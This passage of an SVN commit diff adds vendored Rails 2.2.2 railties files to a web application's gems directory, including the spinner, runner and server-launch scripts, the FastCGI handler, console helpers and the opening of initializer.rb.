+  STDOUT.reopen "/dev/null", "a" # point them somewhere sensible.
+  STDERR.reopen STDOUT           # STDOUT/ERR should better go to a logfile.
+end
+
+OPTIONS = {
+  :interval => 5.0,
+  :command  => File.expand_path(RAILS_ROOT + '/script/process/spawner'),
+  :daemon   => false
+}
+
+ARGV.options do |opts|
+  opts.banner = "Usage: spinner [options]"
+
+  opts.separator ""
+
+  opts.on <<-EOF
+  Description:
+    The spinner is a protection loop for the spawner, which will attempt to restart any FCGI processes
+    that might have been exited or outright crashed. It's a brute-force attempt that'll just try
+    to run the spawner every X number of seconds, so it does pose a light load on the server.
+
+  Examples:
+    spinner # attempts to run the spawner with default settings every second with output on the terminal
+    spinner -i 3 -d # only run the spawner every 3 seconds and detach from the terminal to become a daemon
+    spinner -c '/path/to/app/script/process/spawner -p 9000 -i 10' -d # using custom spawner
+  EOF
+
+  opts.on("  Options:")
+
+  opts.on("-c", "--command=path",    String) { |v| OPTIONS[:command] = v }
+  opts.on("-i", "--interval=seconds", Float) { |v| OPTIONS[:interval] = v }
+  opts.on("-d", "--daemon")                  { |v| OPTIONS[:daemon] = v }
+
+  opts.separator ""
+
+  opts.on("-h", "--help", "Show this help message.") { puts opts; exit }
+
+  opts.parse!
+end
+
+daemonize if OPTIONS[:daemon]
+
+trap(OPTIONS[:daemon] ? "TERM" : "INT") { exit }
+
+loop do
+  system(OPTIONS[:command])
+  sleep(OPTIONS[:interval])
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/runner.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/runner.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/runner.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,48 @@
+require 'optparse'
+
+options = { :environment => (ENV['RAILS_ENV'] || "development").dup }
+code_or_file = nil
+
+ARGV.clone.options do |opts|
+  script_name = File.basename($0)
+  opts.banner = "Usage: #{$0} [options] ('Some.ruby(code)' or a filename)"
+
+  opts.separator ""
+
+  opts.on("-e", "--environment=name", String,
+          "Specifies the environment for the runner to operate under (test/development/production).",
+          "Default: development") { |v| options[:environment] = v }
+
+  opts.separator ""
+
+  opts.on("-h", "--help",
+          "Show this help message.") { $stderr.puts opts; exit }
+
+  if RUBY_PLATFORM !~ /mswin/
+    opts.separator ""
+    opts.separator "You can also use runner as a shebang line for your scripts like this:"
+    opts.separator "-------------------------------------------------------------"
+    opts.separator "#!/usr/bin/env #{File.expand_path($0)}"
+    opts.separator ""
+    opts.separator "Product.find(:all).each { |p| p.price *= 2 ; p.save! }"
+    opts.separator "-------------------------------------------------------------"
+  end
+
+  opts.order! { |o| code_or_file ||= o } rescue retry
+end
+
+ARGV.delete(code_or_file)
+
+ENV["RAILS_ENV"] = options[:environment]
+RAILS_ENV.replace(options[:environment]) if defined?(RAILS_ENV)
+
+require RAILS_ROOT + '/config/environment'
+
+if code_or_file.nil?
+  $stderr.puts "Run '#{$0} -h' for help."
+  exit 1
+elsif File.exist?(code_or_file)
+  eval(File.read(code_or_file), nil, code_or_file)
+else
+  eval(code_or_file)
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/server.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/server.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/server.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,49 @@
+require 'active_support'
+require 'fileutils'
+
+begin
+  require_library_or_gem 'fcgi'
+rescue Exception
+  # FCGI not available
+end
+
+begin
+  require_library_or_gem 'mongrel'
+rescue Exception
+  # Mongrel not available
+end
+
+begin
+  require_library_or_gem 'thin'
+rescue Exception
+  # Thin not available
+end
+
+server = case ARGV.first
+  when "lighttpd", "mongrel", "new_mongrel", "webrick", "thin"
+    ARGV.shift
+  else
+    if defined?(Mongrel)
+      "mongrel"
+    elsif defined?(Thin)
+      "thin"
+    elsif RUBY_PLATFORM !~ /(:?mswin|mingw)/ && !silence_stderr { `lighttpd -version` }.blank? && defined?(FCGI)
+      "lighttpd"
+    else
+      "webrick"
+    end
+end
+
+case server
+  when "webrick"
+    puts "=> Booting WEBrick..."
+  when "lighttpd"
+    puts "=> Booting lighttpd (use 'script/server webrick' to force WEBrick)"
+  when "mongrel", "new_mongrel"
+    puts "=> Booting Mongrel (use 'script/server webrick' to force WEBrick)"
+  when "thin"
+    puts "=> Booting Thin (use 'script/server webrick' to force WEBrick)"
+end
+
+%w(cache pids sessions sockets).each { |dir_to_make| FileUtils.mkdir_p(File.join(RAILS_ROOT, 'tmp', dir_to_make)) }
+require "commands/servers/#{server}"

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/servers/base.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/servers/base.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/servers/base.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,31 @@
+def tail(log_file)
+  cursor = File.size(log_file)
+  last_checked = Time.now
+  tail_thread = Thread.new do
+    File.open(log_file, 'r') do |f|
+      loop do
+        f.seek cursor
+        if f.mtime > last_checked
+          last_checked = f.mtime
+          contents = f.read
+          cursor += contents.length
+          print contents
+        end
+        sleep 1
+      end
+    end
+  end
+  tail_thread
+end
+
+def start_debugger
+  begin
+    require_library_or_gem 'ruby-debug'
+    Debugger.start
+    Debugger.settings[:autoeval] = true if Debugger.respond_to?(:settings)
+    puts "=> Debugger enabled"
+  rescue Exception
+    puts "You need to install ruby-debug to run the server in debugging mode. With gems, use 'gem install ruby-debug'"
+    exit
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/servers/lighttpd.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/servers/lighttpd.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/servers/lighttpd.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,94 @@
+require 'rbconfig'
+require 'commands/servers/base'
+
+unless RUBY_PLATFORM !~ /mswin/ && !silence_stderr { `lighttpd -version` }.blank?
+  puts "PROBLEM: Lighttpd is not available on your system (or not in your path)"
+  exit 1
+end
+
+unless defined?(FCGI)
+  puts "PROBLEM: Lighttpd requires that the FCGI Ruby bindings are installed on the system"
+  exit 1
+end
+
+require 'initializer'
+configuration = Rails::Initializer.run(:initialize_logger).configuration
+default_config_file = config_file = Pathname.new("#{RAILS_ROOT}/config/lighttpd.conf").cleanpath
+
+require 'optparse'
+
+detach = false
+command_line_port = nil
+
+ARGV.options do |opt|
+  opt.on("-p", "--port=port", "Changes the server.port number in the config/lighttpd.conf") { |port| command_line_port = port }
+  opt.on('-c', "--config=#{config_file}", 'Specify a different lighttpd config file.') { |path| config_file = path }
+  opt.on('-h', '--help', 'Show this message.') { puts opt; exit 0 }
+  opt.on('-d', '-d', 'Call with -d to detach') { detach = true; puts "=> Configuration in config/lighttpd.conf" }
+  opt.parse!
+end
+
+unless File.exist?(config_file)
+  if config_file != default_config_file
+    puts "=> #{config_file} not found."
+    exit 1
+  end
+
+  require 'fileutils'
+
+  source = File.expand_path(File.join(File.dirname(__FILE__),
+     "..", "..", "..", "configs", "lighttpd.conf"))
+  puts "=> #{config_file} not found, copying from #{source}"
+
+  FileUtils.cp(source, config_file)
+end
+
+# open the config/lighttpd.conf file and add the current user defined port setting to it
+if command_line_port
+  File.open(config_file, 'r+') do |config|
+    lines = config.readlines
+
+    lines.each do |line|
+      line.gsub!(/^\s*server.port\s*=\s*(\d+)/, "server.port = #{command_line_port}")
+    end
+
+    config.rewind
+    config.print(lines)
+    config.truncate(config.pos)
+  end
+end
+
+config = IO.read(config_file)
+default_port, default_ip = 3000, '0.0.0.0'
+port = config.scan(/^\s*server.port\s*=\s*(\d+)/).first rescue default_port
+ip   = config.scan(/^\s*server.bind\s*=\s*"([^"]+)"/).first rescue default_ip
+puts "=> Rails #{Rails.version} application starting on http://#{ip || default_ip}:#{port || default_port}"
+
+tail_thread = nil
+
+if !detach
+  puts "=> Call with -d to detach"
+  puts "=> Ctrl-C to shutdown server (see config/lighttpd.conf for options)"
+  detach = false
+  tail_thread = tail(configuration.log_path)
+end
+
+trap(:INT) { exit }
+
+begin
+  `rake tmp:sockets:clear` # Needed if lighttpd crashes or otherwise leaves FCGI sockets around
+  `lighttpd #{!detach ? "-D " : ""}-f #{config_file}`
+ensure
+  unless detach
+    tail_thread.kill if tail_thread
+    puts 'Exiting'
+  
+    # Ensure FCGI processes are reaped
+    silence_stream(STDOUT) do
+      ARGV.replace ['-a', 'kill']
+      require 'commands/process/reaper'
+    end
+
+    `rake tmp:sockets:clear` # Remove sockets on clean shutdown
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/servers/mongrel.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/servers/mongrel.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/servers/mongrel.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,69 @@
+require 'rbconfig'
+require 'commands/servers/base'
+
+unless defined?(Mongrel)
+  puts "PROBLEM: Mongrel is not available on your system (or not in your path)"
+  exit 1
+end
+
+require 'optparse'
+
+OPTIONS = {
+  :port        => 3000,
+  :ip          => "0.0.0.0",
+  :environment => (ENV['RAILS_ENV'] || "development").dup,
+  :detach      => false,
+  :debugger    => false
+}
+
+ARGV.clone.options do |opts|
+  opts.on("-p", "--port=port", Integer, "Runs Rails on the specified port.", "Default: 3000") { |v| OPTIONS[:port] = v }
+  opts.on("-b", "--binding=ip", String, "Binds Rails to the specified ip.", "Default: 0.0.0.0") { |v| OPTIONS[:ip] = v }
+  opts.on("-d", "--daemon", "Make server run as a Daemon.") { OPTIONS[:detach] = true }
+  opts.on("-u", "--debugger", "Enable ruby-debugging for the server.") { OPTIONS[:debugger] = true }
+  opts.on("-e", "--environment=name", String,
+          "Specifies the environment to run this server under (test/development/production).",
+          "Default: development") { |v| OPTIONS[:environment] = v }
+
+  opts.separator ""
+
+  opts.on("-h", "--help", "Show this help message.") { puts opts; exit }
+
+  opts.parse!
+end
+
+puts "=> Rails #{Rails.version} application starting on http://#{OPTIONS[:ip]}:#{OPTIONS[:port]}"
+
+parameters = [
+  "start",
+  "-p", OPTIONS[:port].to_s,
+  "-a", OPTIONS[:ip].to_s,
+  "-e", OPTIONS[:environment],
+  "-P", "#{RAILS_ROOT}/tmp/pids/mongrel.pid"
+]
+
+if OPTIONS[:detach]
+  `mongrel_rails #{parameters.join(" ")} -d`
+else
+  ENV["RAILS_ENV"] = OPTIONS[:environment]
+  RAILS_ENV.replace(OPTIONS[:environment]) if defined?(RAILS_ENV)
+
+  start_debugger if OPTIONS[:debugger]
+
+  puts "=> Call with -d to detach"
+  puts "=> Ctrl-C to shutdown server"
+
+  log = Pathname.new("#{File.expand_path(RAILS_ROOT)}/log/#{RAILS_ENV}.log").cleanpath
+  open(log, (File::WRONLY | File::APPEND | File::CREAT)) unless File.exist? log
+  tail_thread = tail(log)
+
+  trap(:INT) { exit }
+
+  begin
+    silence_warnings { ARGV = parameters }
+    load("mongrel_rails")
+  ensure
+    tail_thread.kill if tail_thread
+    puts 'Exiting'
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/servers/new_mongrel.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/servers/new_mongrel.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/servers/new_mongrel.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,16 @@
+unless defined?(Mongrel)
+  abort "PROBLEM: Mongrel is not available on your system (or not in your path)"
+end
+
+require 'rails/mongrel_server/commands'
+
+GemPlugin::Manager.instance.load "rails::mongrel" => GemPlugin::INCLUDE, "rails" => GemPlugin::EXCLUDE
+
+case ARGV[0] ||= 'start'
+when 'start', 'stop', 'restart'
+  ARGV[0] = "rails::mongrelserver::#{ARGV[0]}"
+end
+
+if not Mongrel::Command::Registry.instance.run ARGV
+  exit 1
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/servers/thin.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/servers/thin.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/servers/thin.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,25 @@
+require 'rbconfig'
+require 'commands/servers/base'
+require 'thin'
+
+
+options = ARGV.clone
+options.insert(0,'start') unless Thin::Runner.commands.include?(options[0])
+
+thin = Thin::Runner.new(options)
+
+puts "=> Rails #{Rails.version} application starting on http://#{thin.options[:address]}:#{thin.options[:port]}"
+puts "=> Ctrl-C to shutdown server"
+
+log = Pathname.new("#{File.expand_path(RAILS_ROOT)}/log/#{RAILS_ENV}.log").cleanpath
+open(log, (File::WRONLY | File::APPEND | File::CREAT)) unless File.exist? log
+tail_thread = tail(log)
+trap(:INT) { exit }
+
+begin
+  thin.run!
+ensure
+  tail_thread.kill if tail_thread
+  puts 'Exiting'
+end
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/servers/webrick.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/servers/webrick.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/servers/webrick.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,66 @@
+require 'webrick'
+require 'optparse'
+require 'commands/servers/base'
+
+OPTIONS = {
+  :port         => 3000,
+  :ip           => "0.0.0.0",
+  :environment  => (ENV['RAILS_ENV'] || "development").dup,
+  :server_root  => File.expand_path(RAILS_ROOT + "/public/"),
+  :server_type  => WEBrick::SimpleServer,
+  :charset      => "UTF-8",
+  :mime_types   => WEBrick::HTTPUtils::DefaultMimeTypes,
+  :debugger     => false
+  
+}
+
+ARGV.options do |opts|
+  script_name = File.basename($0)
+  opts.banner = "Usage: ruby #{script_name} [options]"
+
+  opts.separator ""
+
+  opts.on("-p", "--port=port", Integer,
+          "Runs Rails on the specified port.",
+          "Default: 3000") { |v| OPTIONS[:port] = v }
+  opts.on("-b", "--binding=ip", String,
+          "Binds Rails to the specified ip.",
+          "Default: 0.0.0.0") { |v| OPTIONS[:ip] = v }
+  opts.on("-e", "--environment=name", String,
+          "Specifies the environment to run this server under (test/development/production).",
+          "Default: development") { |v| OPTIONS[:environment] = v }
+  opts.on("-m", "--mime-types=filename", String,
+                  "Specifies an Apache style mime.types configuration file to be used for mime types",
+                  "Default: none") { |mime_types_file| OPTIONS[:mime_types] = WEBrick::HTTPUtils::load_mime_types(mime_types_file) }
+
+  opts.on("-d", "--daemon",
+          "Make Rails run as a Daemon (only works if fork is available -- meaning on *nix)."
+          ) { OPTIONS[:server_type] = WEBrick::Daemon }
+
+  opts.on("-u", "--debugger", "Enable ruby-debugging for the server.") { OPTIONS[:debugger] = true }
+
+  opts.on("-c", "--charset=charset", String,
+          "Set default charset for output.",
+          "Default: UTF-8") { |v| OPTIONS[:charset] = v }
+
+  opts.separator ""
+
+  opts.on("-h", "--help",
+          "Show this help message.") { puts opts; exit }
+
+  opts.parse!
+end
+
+start_debugger if OPTIONS[:debugger]
+
+ENV["RAILS_ENV"] = OPTIONS[:environment]
+RAILS_ENV.replace(OPTIONS[:environment]) if defined?(RAILS_ENV)
+
+require RAILS_ROOT + "/config/environment"
+require 'webrick_server'
+
+OPTIONS['working_directory'] = File.expand_path(RAILS_ROOT)
+
+puts "=> Rails #{Rails.version} application started on http://#{OPTIONS[:ip]}:#{OPTIONS[:port]}"
+puts "=> Ctrl-C to shutdown server; call with --help for options" if OPTIONS[:server_type] == WEBrick::SimpleServer
+DispatchServlet.dispatch(OPTIONS)

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/update.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/update.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/update.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+require "#{RAILS_ROOT}/config/environment"
+require 'rails_generator'
+require 'rails_generator/scripts/update'
+Rails::Generator::Scripts::Update.new.run(ARGV)

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,17 @@
+commands = Dir["#{File.dirname(__FILE__)}/commands/*.rb"].collect { |file_path| File.basename(file_path).split(".").first }
+
+if commands.include?(ARGV.first)
+  require "#{File.dirname(__FILE__)}/commands/#{ARGV.shift}"
+else
+  puts <<-USAGE
+The 'run' provides a unified access point for all the default Rails' commands.
+  
+Usage: ./script/run <command> [OPTIONS]
+
+Examples:
+  ./script/run generate controller Admin
+  ./script/run process reaper
+
+USAGE
+  puts "Choose: #{commands.join(", ")}"
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/console_app.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/console_app.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/console_app.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,30 @@
+require 'action_controller/integration'
+
+# work around the at_exit hook in test/unit, which kills IRB
+Test::Unit.run = true if Test::Unit.respond_to?(:run=)
+
+# reference the global "app" instance, created on demand. To recreate the
+# instance, pass a non-false value as the parameter.
+def app(create=false)
+  @app_integration_instance = nil if create
+  @app_integration_instance ||= new_session do |sess|
+    sess.host! "www.example.com"
+  end
+end
+
+# create a new session. If a block is given, the new session will be yielded
+# to the block before being returned.
+def new_session
+  session = ActionController::Integration::Session.new
+  yield session if block_given?
+  session
+end
+
+#reloads the environment
+def reload!
+  puts "Reloading..."
+  dispatcher = ActionController::Dispatcher.new($stdout)
+  dispatcher.cleanup_application
+  dispatcher.reload_application
+  true
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/console_sandbox.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/console_sandbox.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/console_sandbox.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+ActiveRecord::Base.connection.increment_open_transactions
+ActiveRecord::Base.connection.begin_db_transaction
+at_exit do
+  ActiveRecord::Base.connection.rollback_db_transaction
+  ActiveRecord::Base.connection.decrement_open_transactions
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/console_with_helpers.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/console_with_helpers.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/console_with_helpers.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,26 @@
+class Module
+  def include_all_modules_from(parent_module)
+    parent_module.constants.each do |const|
+      mod = parent_module.const_get(const)
+      if mod.class == Module
+        send(:include, mod)
+        include_all_modules_from(mod)
+      end
+    end
+  end
+end
+
+def helper(*helper_names)
+  returning @helper_proxy ||= Object.new do |helper|
+    helper_names.each { |h| helper.extend "#{h}_helper".classify.constantize }
+  end
+end
+
+require_dependency 'application'
+
+class << helper 
+  include_all_modules_from ActionView
+end
+
+ at controller = ApplicationController.new
+helper :application rescue nil

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/dispatcher.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/dispatcher.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/dispatcher.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+#--
+# Copyright (c) 2004-2008 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+require 'action_controller/dispatcher'
+Dispatcher = ActionController::Dispatcher

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/fcgi_handler.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/fcgi_handler.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/fcgi_handler.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,237 @@
+require 'fcgi'
+require 'logger'
+require 'dispatcher'
+require 'rbconfig'
+
+class RailsFCGIHandler
+  SIGNALS = {
+    'HUP'     => :reload,
+    'INT'     => :exit_now,
+    'TERM'    => :exit_now,
+    'USR1'    => :exit,
+    'USR2'    => :restart
+  }
+  GLOBAL_SIGNALS = SIGNALS.keys - %w(USR1)
+
+  attr_reader :when_ready
+
+  attr_accessor :log_file_path
+  attr_accessor :gc_request_period
+
+  # Initialize and run the FastCGI instance, passing arguments through to new.
+  def self.process!(*args, &block)
+    new(*args, &block).process!
+  end
+
+  # Initialize the FastCGI instance with the path to a crash log
+  # detailing unhandled exceptions (default RAILS_ROOT/log/fastcgi.crash.log)
+  # and the number of requests to process between garbage collection runs
+  # (default nil for normal GC behavior.)  Optionally, pass a block which
+  # takes this instance as an argument for further configuration.
+  def initialize(log_file_path = nil, gc_request_period = nil)
+    self.log_file_path = log_file_path || "#{RAILS_ROOT}/log/fastcgi.crash.log"
+    self.gc_request_period = gc_request_period
+
+    # Yield for additional configuration.
+    yield self if block_given?
+
+    # Safely install signal handlers.
+    install_signal_handlers
+
+    # Start error timestamp at 11 seconds ago.
+    @last_error_on = Time.now - 11
+  end
+
+  def process!(provider = FCGI)
+    mark_features!
+
+    dispatcher_log :info, 'starting'
+    process_each_request provider
+    dispatcher_log :info, 'stopping gracefully'
+
+  rescue Exception => error
+    case error
+    when SystemExit
+      dispatcher_log :info, 'stopping after explicit exit'
+    when SignalException
+      dispatcher_error error, 'stopping after unhandled signal'
+    else
+      # Retry if exceptions occur more than 10 seconds apart.
+      if Time.now - @last_error_on > 10
+        @last_error_on = Time.now
+        dispatcher_error error, 'retrying after unhandled exception'
+        retry
+      else
+        dispatcher_error error, 'stopping after unhandled exception within 10 seconds of the last'
+      end
+    end
+  end
+
+  protected
+    def process_each_request(provider)
+      cgi = nil
+
+      catch :exit do
+        provider.each_cgi do |cgi|
+          process_request(cgi)
+
+          case when_ready
+            when :reload
+              reload!
+            when :restart
+              close_connection(cgi)
+              restart!
+            when :exit
+              close_connection(cgi)
+              throw :exit
+          end
+        end
+      end
+    rescue SignalException => signal
+      raise unless signal.message == 'SIGUSR1'
+      close_connection(cgi)
+    end
+
+    def process_request(cgi)
+      @processing, @when_ready = true, nil
+      gc_countdown
+
+      with_signal_handler 'USR1' do
+        begin
+          Dispatcher.dispatch(cgi)
+        rescue SignalException, SystemExit
+          raise
+        rescue Exception => error
+          dispatcher_error error, 'unhandled dispatch error'
+        end
+      end
+    ensure
+      @processing = false
+    end
+
+    def logger
+      @logger ||= Logger.new(@log_file_path)
+    end
+
+    def dispatcher_log(level, msg)
+      time_str = Time.now.strftime("%d/%b/%Y:%H:%M:%S")
+      logger.send(level, "[#{time_str} :: #{$$}] #{msg}")
+    rescue Exception => log_error  # Logger errors
+      STDERR << "Couldn't write to #{@log_file_path.inspect}: #{msg}\n"
+      STDERR << "  #{log_error.class}: #{log_error.message}\n"
+    end
+
+    def dispatcher_error(e, msg = "")
+      error_message =
+        "Dispatcher failed to catch: #{e} (#{e.class})\n" +
+        "  #{e.backtrace.join("\n  ")}\n#{msg}"
+      dispatcher_log(:error, error_message)
+    end
+
+    def install_signal_handlers
+      GLOBAL_SIGNALS.each { |signal| install_signal_handler(signal) }
+    end
+
+    def install_signal_handler(signal, handler = nil)
+      if SIGNALS.include?(signal) && self.class.method_defined?(name = "#{SIGNALS[signal]}_handler")
+        handler ||= method(name).to_proc
+
+        begin
+          trap(signal, handler)
+        rescue ArgumentError
+          dispatcher_log :warn, "Ignoring unsupported signal #{signal}."
+        end
+      else
+        dispatcher_log :warn, "Ignoring unsupported signal #{signal}."
+      end
+    end
+
+    def with_signal_handler(signal)
+      install_signal_handler(signal)
+      yield
+    ensure
+      install_signal_handler(signal, 'DEFAULT')
+    end
+
+    def exit_now_handler(signal)
+      dispatcher_log :info, "asked to stop immediately"
+      exit
+    end
+
+    def exit_handler(signal)
+      dispatcher_log :info, "asked to stop ASAP"
+      if @processing
+        @when_ready = :exit
+      else
+        throw :exit
+      end
+    end
+
+    def reload_handler(signal)
+      dispatcher_log :info, "asked to reload ASAP"
+      if @processing
+        @when_ready = :reload
+      else
+        reload!
+      end
+    end
+
+    def restart_handler(signal)
+      dispatcher_log :info, "asked to restart ASAP"
+      if @processing
+        @when_ready = :restart
+      else
+        restart!
+      end
+    end
+
+    def restart!
+      config       = ::Config::CONFIG
+      ruby         = File::join(config['bindir'], config['ruby_install_name']) + config['EXEEXT']
+      command_line = [ruby, $0, ARGV].flatten.join(' ')
+
+      dispatcher_log :info, "restarted"
+
+      # close resources as they won't be closed by
+      # the OS when using exec
+      logger.close rescue nil
+      Rails.logger.close rescue nil
+
+      exec(command_line)
+    end
+
+    def reload!
+      run_gc! if gc_request_period
+      restore!
+      @when_ready = nil
+      dispatcher_log :info, "reloaded"
+    end
+
+    # Make a note of $" so we can safely reload this instance.
+    def mark_features!
+      @features = $".clone
+    end
+
+    def restore!
+      $".replace @features
+      Dispatcher.reset_application!
+      ActionController::Routing::Routes.reload
+    end
+
+    def run_gc!
+      @gc_request_countdown = gc_request_period
+      GC.enable; GC.start; GC.disable
+    end
+
+    def gc_countdown
+      if gc_request_period
+        @gc_request_countdown ||= gc_request_period
+        @gc_request_countdown -= 1
+        run_gc! if @gc_request_countdown <= 0
+      end
+    end
+
+    def close_connection(cgi)
+      cgi.instance_variable_get("@request").finish if cgi
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/initializer.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/initializer.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/initializer.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1038 @@
+require 'logger'
+require 'set'
+require 'pathname'
+
+$LOAD_PATH.unshift File.dirname(__FILE__)
+require 'railties_path'
+require 'rails/version'
+require 'rails/plugin/locator'
+require 'rails/plugin/loader'
+require 'rails/gem_dependency'
+require 'rails/rack'
+
+
+RAILS_ENV = (ENV['RAILS_ENV'] || 'development').dup unless defined?(RAILS_ENV)
+
+module Rails
+  class << self
+    # The Configuration instance used to configure the Rails environment
+    def configuration
+      @@configuration
+    end
+
+    def configuration=(configuration)
+      @@configuration = configuration
+    end
+
+    def initialized?
+      @initialized || false
+    end
+
+    def initialized=(initialized)
+      @initialized ||= initialized
+    end
+
+    def logger
+      if defined?(RAILS_DEFAULT_LOGGER)
+        RAILS_DEFAULT_LOGGER
+      else
+        nil
+      end
+    end
+
+    def root
+      if defined?(RAILS_ROOT)
+        RAILS_ROOT
+      else
